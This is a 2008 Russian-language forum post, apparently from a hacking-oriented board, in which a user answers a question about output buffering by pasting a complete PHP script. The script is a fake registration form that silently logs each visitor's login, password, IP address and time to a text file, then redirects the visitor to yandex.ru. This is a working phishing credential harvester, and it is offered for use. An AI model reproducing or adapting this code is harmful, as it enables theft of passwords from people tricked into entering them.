Показать сообщение отдельно

  #2  
Старый 20.04.2008, 22:28
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Цитата:
Цитата:
Сообщение от .:EnoT:.  
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.
Всеравно не получается!
где именно вставить?
омг
PHP код:
<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>